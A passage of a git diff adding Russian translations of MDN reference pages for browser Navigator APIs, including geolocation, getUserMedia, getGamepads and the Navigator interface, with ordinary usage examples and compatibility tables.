+<p><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span> </strong><span class="hps">По соображениям</span> <span class="hps">безопасности</span><span>,</span> <span class="hps">когда</span> <span class="hps">веб-страница</span> <span class="hps">пытается</span> <span class="hps">получить доступ к информации</span> <span class="hps">о местоположении,</span> <span class="hps">пользователь получает уведомление</span> <span class="hps">с просьбой</span> <span class="hps">дать разрешение</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Помните, что</span> <span class="hps">каждый браузер</span> <span class="hps">имеет свои</span> <span class="hps">собственные правила</span> <span class="hps">и методы</span> <span class="hps">для запроса</span> <span class="hps">этого разрешения</span><span>.</span></span></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>geo</em> = <em>navigator</em>.geolocation
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'Navigator.geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Использование геолокации.</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getdatastores/index.html b/files/ru/web/api/navigator/getdatastores/index.html
new file mode 100644
index 0000000000..5c3b1d7fab
--- /dev/null
+++ b/files/ru/web/api/navigator/getdatastores/index.html
@@ -0,0 +1,58 @@
+---
+title: Navigator.getDataStores()
+slug: Web/API/Navigator/getDataStores
+translation_of: Archive/B2G_OS/API/Navigator/getDataStores
+---
+<div>{{APIRef("Data Store API")}} {{ non-standard_header }} {{ B2GOnlyHeader2('certified') }}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <strong><code>navigator.getDataStores()</code></strong> предоставляющий доступ к списку <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API </a>хранилищ данных доступных на устройстве.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.getDataStores('contacts').then(function(stores) {
+  // сделать что-либо с массивом хранилищ данных в хранилище.
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>storeName</code></dt>
+ <dd>Имя хранилища данных которое вы хотите вернуть. Возвращается массив, потому что <span id="result_box" lang="ru"><span>может</span> <span class="hps">быть</span> <span class="hps">несколько</span> <span class="hps">хранилищ данных</span> <span class="hps">с таким же именем</span><span>.</span></span></dd>
+</dl>
+
+<h3 id="Возврат">Возврат</h3>
+
+<p>Объект {{jsxref("Promise")}} который будет связан с массивом объекта {{domxref("DataStore") }}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="punctuation token">navigator.getDataStores('contacts').then(function(stores) {
+  stores[0].getLength().then(function(storeLength) {
+    if(storeLength == 0) {
+      for(i = 0; i &lt; contactsInit.length; i++) {
+        addContact(stores[0],contactsInit[i]);
+      };
+    } else {
+      var cursor = stores[0].sync();
+      runNextTask(cursor);
+    }
+  });
+});</span></code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/Data_Store_API","Specifications")}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/Data_Store_API","Browser_compatibility")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Data_Store_API/Using_the_Data_Store_API">Using the Data Store API</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-editor">Data Store Contacts Editor example</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/data-store-contacts-viewer">Data Store Contacts Viewer example</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getgamepads/index.html b/files/ru/web/api/navigator/getgamepads/index.html
new file mode 100644
index 0000000000..bc5200cbe1
--- /dev/null
+++ b/files/ru/web/api/navigator/getgamepads/index.html
@@ -0,0 +1,102 @@
+---
+title: Navigator.getGamepads()
+slug: Web/API/Navigator/getGamepads
+translation_of: Web/API/Navigator/getGamepads
+---
+<p>{{APIRef("Gamepad API")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>Navigator.getGamepads()</code></strong> метод, возвращающий массив {{ domxref("Gamepad") }} объектов, по одному для каждого геймпада, подключенному к устройству.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"> var arrayGP = navigator.getGamepads();</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[0];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '', 'The Gamepad API specification')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>General support</td>
+   <td>
+    <p>21.0 {{ property_prefix("webkit") }}<br>
+     35.0</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("29.0") }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p>15.0 {{ property_prefix("webkit") }}<br>
+     22.0</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>General support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Was available behind a preference since Firefox 24.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getusermedia/index.html b/files/ru/web/api/navigator/getusermedia/index.html
new file mode 100644
index 0000000000..5a8072c8b0
--- /dev/null
+++ b/files/ru/web/api/navigator/getusermedia/index.html
@@ -0,0 +1,107 @@
+---
+title: Navigator.getUserMedia()
+slug: Web/API/Navigator/getUserMedia
+translation_of: Web/API/Navigator/getUserMedia
+---
+<div>{{APIRef("Media Capture and Streams")}}{{deprecated_header}}</div>
+
+<p>The deprecated <code><strong>Navigator.getUserMedia()</strong></code> method prompts the user for permission to use up to one video input device (such as a camera or shared screen) and up to one audio input device (such as a microphone) as the source for a {{domxref("MediaStream")}}.</p>
+
+<p>If permission is granted, a <code>MediaStream</code> whose video and/or audio tracks come from those devices is delivered to the specified success callback. If permission is denied, no compatible input devices exist, or any other error condition occurs, the error callback is executed with a {{domxref("MediaStreamError")}} object describing what went wrong. If the user instead doesn't make a choice at all, neither callback is executed.</p>
+
+<div class="note">
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Это устаревший метод.</span></span> <span class="ChMk0b JLqJ4b"><span>Вместо этого используйте более новую версию {{domxref ("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia ()")}}.</span></span> <span class="ChMk0b JLqJ4b"><span>Хотя технически не рекомендуется, эта старая версия обратного вызова помечена как таковая, поскольку спецификация настоятельно рекомендует использовать более новую версию, возвращающую обещание.</span></span></span></p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>constraints</var></code></dt>
+ <dd>{{domxref("MediaStreamConstraints")}} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>объект, определяющий типы запрашиваемых медиа, а также любые требования для каждого типа.</span></span> <span class="ChMk0b JLqJ4b"><span>Подробнее см. В разделе ограничений современного метода {{domxref ("MediaDevices.getUserMedia ()")}}, а также в статье</span></span></span> <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Возможности, ограничения и настройки.</a></dd>
+ <dt><code><var>successCallback</var></code></dt>
+ <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Функция, которая вызывается при утверждении запроса на доступ к мультимедиа.</span></span> <span class="ChMk0b JLqJ4b"><span>Функция вызывается с одним параметром: объектом {{domxref ("MediaStream")}}, который содержит медиапоток.</span></span> <span class="ChMk0b JLqJ4b"><span>Затем обратный вызов может назначить поток желаемому объекту (например, элементу {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}), как показано в следующем примере:</span></span></span>
+ <pre class="brush: js notranslate">function(stream) {
+   var video = document.querySelector('video');
+   video.srcObject = stream;
+   video.onloadedmetadata = function(e) {
+      // Do something with the video here.
+   };
+}</pre>
+ </dd>
+ <dt><code><var>errorCallback</var></code></dt>
+ <dd>When the call fails, the function specified in the <code>errorCallback</code> is invokedwith a {{domxref("MediaStreamError")}} object as its sole argument; this object is is modeled on {{domxref("DOMException")}}. See {anch("Errors")}} below for a list of the errors which can occur.</dd>
+</dl>
+
+<h3 id="Возвращающееся_значение">Возвращающееся значение</h3>
+
+<p>{{domxref("undefined")}}.</p>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<p>{{page("/en-US/docs/Web/API/MediaDevices/getUserMedia", "Errors")}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Width_and_height_Ширина_и_высота">Width and height (Ширина и высота)</h3>
+
+<p>Это пример использования <code>getUserMedia()</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>, включая код для работы с префиксами различных браузеров.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что это устаревший способ сделать это: современные примеры см. В разделе «Примеры» в разделе {{domxref ("MediaDevices.getUserMedia ()")}}.</span></span></span></p>
+
+<pre class="brush: js notranslate">navigator.getUserMedia = navigator.getUserMedia ||
+                         navigator.webkitGetUserMedia ||
+                         navigator.mozGetUserMedia;
+
+if (navigator.getUserMedia) {
+   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
+      function(stream) {
+         var video = document.querySelector('video');
+         video.srcObject = stream;
+         video.onloadedmetadata = function(e) {
+           video.play();
+         };
+      },
+      function(err) {
+         console.log("The following error occurred: " + err.name);
+      }
+   );
+} else {
+   console.log("getUserMedia not supported");
+}
+</pre>
+
+<h2 id="Разрешения">Разрешения</h2>
+
+<p class="syntaxbox"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чтобы использовать</span></span></span><code>getUserMedia()</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span><code> </code>в устанавливаемом приложении (например, приложении Firefox OS), вам необходимо указать одно или оба из следующих полей внутри файла манифеста:</span></span></span></p>
+
+<pre class="brush: js notranslate">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>См. Разрешение: аудио-захват и разрешение: видео-захват для получения дополнительной информации.</span></span></span></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="warning">
+<p>New code should use {{domxref("Navigator.mediaDevices.getUserMedia()")}} instead.</p>
+</div>
+
+
+
+<p>{{Compat("api.Navigator.getUserMedia")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MediaDevices.getUserMedia()")}} that replaces this deprecated method.</li>
+ <li><a href="/en-US/docs/WebRTC">WebRTC</a> - the introductory page to the API</li>
+ <li><a href="/en-US/docs/WebRTC/MediaStream_API">MediaStream API</a> - the API for the media stream objects</li>
+ <li><a href="/en-US/docs/WebRTC/taking_webcam_photos">Taking webcam photos</a> - a tutorial on using <code>getUserMedia() for taking photos rather than video.</code></li>
+</ul>
diff --git a/files/ru/web/api/navigator/getvrdisplays/index.html b/files/ru/web/api/navigator/getvrdisplays/index.html
new file mode 100644
index 0000000000..4c37427910
--- /dev/null
+++ b/files/ru/web/api/navigator/getvrdisplays/index.html
@@ -0,0 +1,56 @@
+---
+title: Navigator.getVRDisplays()
+slug: Web/API/Navigator/getVRDisplays
+translation_of: Web/API/Navigator/getVRDisplays
+---
+<div>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>getVRDisplays()</code></strong> интерфейса {{domxref("Navigator")}} возвращает объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, из которого можно получить массив объектов типа {{domxref("VRDisplay")}}, являющихся отображением любого доступного из подключенных к компьютеру VR устройств.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">navigator.getVRDisplays().then(function(displays) {
+  //Тут можно что-то сделать с доступными VR устройствами
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект типа Promise, содержащий в случае успешного выполнения массив объектов {{domxref("VRDisplay")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplay", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR', '#navigator-getvrdisplays-attribute', 'getVRDisplays()')}}</td>
+   <td>{{Spec2('WebVR')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Navigator.getVRDisplays")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/navigator/id/index.html b/files/ru/web/api/navigator/id/index.html
new file mode 100644
index 0000000000..ba98e02cf6
--- /dev/null
+++ b/files/ru/web/api/navigator/id/index.html
@@ -0,0 +1,20 @@
+---
+title: Navigator.id
+slug: Web/API/Navigator/id
+tags:
+  - DOM
+  - Reference
+  - Référence(2)
+translation_of: Archive/Navigator-id
+---
+<div>{{ ApiRef("Persona") }}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>The <a href="/en-US/docs/Persona" title="BrowserID">BrowserID protocol</a> defines a new <code>id</code> property on the {{ domxref ("window.navigator")}} object, through which it exposes the BrowserID API, that is the {{domxref("IdentityManager")}} intreface. This API has gone through several significant revisions. Each generation is listed separately below.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var id = navigator.id</pre>
+
+<p> </p>
diff --git a/files/ru/web/api/navigator/index.html b/files/ru/web/api/navigator/index.html
new file mode 100644
index 0000000000..d073d18ac4
--- /dev/null
+++ b/files/ru/web/api/navigator/index.html
@@ -0,0 +1,123 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - HTML DOM
+  - Navigator
+translation_of: Web/API/Navigator
+---
+<p>{{ apiref() }}</p>
+
+<p>Интерфейс Navigator представляет собой состояние и особенности(свойства) пользовательского агента. Это позволяет скриптам узнавать их и самостоятельно регистрироваться для выполнения некоторых действий.</p>
+
+<p>Объект Navigator может быть вызван свойством {{domxref ("Window.navigator")}}, только для чтения.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>Не наследует никаких других свойств, но реализует те, которые определены в <em>{{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}, и {{domxref("NetworkInformation")}}.</em></p>
+
+<h3 id="Стандартиризованные">Стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает внутренний "код" текущего браузера. Не полагайтесь на это свойство для получения правильного значения.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} с официальным названием браузера. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="alt-edited hps">на это свойство</span><span> для получения</span> <span class="hps">правильного значения.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает версию браузера как {{domxref("DOMString")}}. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="alt-edited hps">на это свойство</span><span> для получения</span> <span class="hps">правильного значения.</span></span></dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("BatteryManager")}} объект, который вы можете использовать для получения информации о статусе заряда аккумулятора.</dd>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Предоставляет {{domxref ("Connection")}} с информацией о сетевом подключении устройства.</dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Geolocation")}} объект, позволяющий получить доступ к местоположению устройства.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} флаг, показывающий включен ли в браузере java или нет.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, представляющий предпочитаемый пользователем язык, как правило это язык пользвательского интерфейса браузера. Значение <code>null</code> возвращается, когда язык неизвестен.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив {{domxref("DOMString")}}, представляющий собой языки, известные пользователю, в порядке предпочтения.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов, поддерживаемых браузером.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}}, показывающий работает ли браузер в сети.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Возвращает строку, показывающую имеющуюся операционную систему.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает строку, показывающую платформму браузера. Не полагайтесь на эту функцию, чтобы получить нужное значение.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("PluginArray")}} листинг плагинов, установленных в браузере.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Всегда возвращает <code>'Gecko'</code>, в любом браузере. <span id="result_box" lang="ru"><span class="hps">Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости</span></span>.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает строку агента пользователя для данного браузера.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("ServiceWorkerContainer")}} объект, который обеспечивает доступ к регистрации, удалению, обновлению и связи с {{domxref("ServiceWorker")}} объектами для <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">соответствующего документа.</a></dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Не стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.buildID", "navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает идентификатор сборки браузера(например: "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает логическое значение (boolean), показывающее включены ли куки в браузере или нет.</dd>
+ <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd>Значение сообщает о предпочтении пользователя не отслеживать его действия. Когда это значение "да", ваш веб сайт или приложение не должны отслеживать действия пользователя.</dd>
+ <dt>{{domxref("navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{domxref("window.navigator.id", "id")}} объект, который вы можете использовать для добавления поддержки <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> на свой сайт.</dd>
+ <dt>{{domxref("window.navigator.mozApps", "navigator.mozApps")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает {{domxref("window.navigator.mozApps", "Apps")}} объект,  который вы можете использовать для установки, управления и контроля <a href="/Open_Web_Apps" title="Open Web apps">Open Web apps</a>.</dd>
+ <dt>{{domxref("Navigator.mozAudioChannelManager", "navigator.mozAudioChannelManager")}} {{non-standard_inline}}</dt>
+ <dd>Объект <code>navigator.mozAudioChannelManager </code>обеспечивает доступ к {{domxref("mozAudioChannelManager")}} интерфейсу, который используется для управления аудио-каналами этого Firefox OS устройства, включая настройку громкости канала, когда кнопка громкости нажата внутри конкретного приложения.</dd>
+ <dt>{{domxref("window.navigator.mozNotification","navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("window.navigator.webkitNotification","navigator.webkitNotification")}}</dt>
+ <dd>Возвращает {{domxref("navigator.mozNotification", "notification")}} объект, который можно использовать для доставки уведомлений пользователю из вашего веб-приложения.</dd>
+ <dt>{{domxref("navigator.mozSocial")}} {{non-standard_inline}}</dt>
+ <dd>Объект, возвращающий <code>navigator.mozSocial</code> свойство, доступное в панели провайдера социальных медиадля для обеспечения требуемой функциональности.</dd>
+ <dt>{{domxref("window.navigator.productSub", "navigator.productSub")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает номер сборки текущего браузера(например: "20060909" ).</dd>
+ <dt>{{domxref("window.navigator.securitypolicy", "navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает пустую строку. В Netscape 4.7x, возвращает "US &amp; CA domestic policy" или "Export policy".</dd>
+ <dt>{{domxref("window.navigator.standalone", "navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает логическое значение (boolean), показывающее работает ли браузер в автономном режиме. Доступно только в <span class="short_text" id="result_box" lang="ru"><span class="hps">IOS</span> <span class="hps">Safari от Apple</span></span>.</dd>
+ <dt>{{domxref("window.navigator.vendor", "navigator.vendor")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">имя поставщика</span> <span class="hps">текущего</span> <span class="atn hps">браузера (</span><span>например</span><span>,</span> <span class="atn hps">"</span><span>Netscape6</span><span>"</span><span>)</span><span>.</span></span></dd>
+ <dt>{{domxref("window.navigator.vendorSub", "navigator.vendorSub")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">номер версии</span> <span class="hps">поставщика</span> <span class="atn hps">(например, "</span><span>6.1</span><span>")</span><span>.</span></span></dd>
+ <dt><a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API"><code>navigator.webkitPointer</code></a> {{non-standard_inline}}</dt>
+ <dd>Возвращает объект PointerLock для <a href="/en-US/docs/API/Pointer_Lock_API" title="Mouse Lock API">Mouse Lock API</a>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Не наследует никаких других свойств, но реализует те, которые определены в <em>{{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, <em>{{domxref("NavigatorUserMedia")}}, и</em> {{domxref("NavigatorStorageUtils")}}.</em></p>
+
+<h3 id="Стандартиризованные_2">Стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("NavigatorUserMedia.getUserMedia()")}}</dt>
+ <dd>После запроса разрешения у пользователя возвращает аудио или видео поток, взаимодействующий с камерой или микрофоном на локальном компьютере.</dd>
+ <dt>{{domxref("window.navigator.registerContentHandler", "navigator.registerContentHandler")}}</dt>
+ <dd>Разарешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного MIME типа.</dd>
+ <dt>{{domxref("navigator.registerProtocolHandler", "navigator.registerProtocolHandler")}}</dt>
+ <dd>Разрешает веб-сайту зарегистрировать себя в качестве возможного обработчика для данного протокола.</dd>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline("1.7.8")}} {{obsolete_inline("9.0")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>false</code>. JavaScript taint/untaint функции отключены в JavaScript 1.2.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}} {{gecko_minversion_inline("11.0")}}</dt>
+ <dd>Причина вибрации устройства с поддержкой ее. Не делает ничего, если нет поддержки вибрации.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Не стандартиризованные</h3>
+
+<dl>
+ <dt>{{domxref("window.navigator.mozIsLocallyAvailable", "navigator.mozIsLocallyAvailable")}} {{non-standard_inline}}</dt>
+ <dd>Позволяет коду проверить, есть ли документ в данном URI без использования сети.</dd>
+ <dt>{{domxref("window.navigator.mozPay", "navigator.mozPay")}} {{non-standard_inline}}</dt>
+ <dd>Разрешает оплату в приложении.</dd>
+ <dt>{{domxref("window.navigator.preference", "navigator.preference")}} {{obsolete_inline("2.0")}} {{non-standard_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Устанавливает</span> <span class="hps">предпочтение</span> <span class="hps">пользователя</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Этот метод доступен</span> <a href="http://www.faqts.com/knowledge_base/view.phtml/aid/1608/fid/125/lang/en">только для привилегированного кода</a> <span class="hps">и</span> <span class="hps">является устаревшим</span><span>;</span></span> вы должны использовать вместо него XPCOM <a href="/en-US/docs/Preferences_API" title="Preferences_API">Preferences API</a>.</dd>
+ <dt>{{domxref("window.navigator.requestWakeLock", "navigator.requestWakeLock")}} {{non-standard_inline}}</dt>
+ <dd>Запрос установки блокировки пробуждения для ресурса. Блокировка пробуждения препятствует определенной части устройства включится автоматически.</dd>
+</dl>
diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html
new file mode 100644
index 0000000000..2e8d3aaf0c
--- /dev/null
+++ b/files/ru/web/api/navigator/mediadevices/index.html
@@ -0,0 +1,103 @@
+---
+title: Navigator.mediaDevices
+slug: Web/API/Navigator/mediaDevices
+translation_of: Web/API/Navigator/mediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
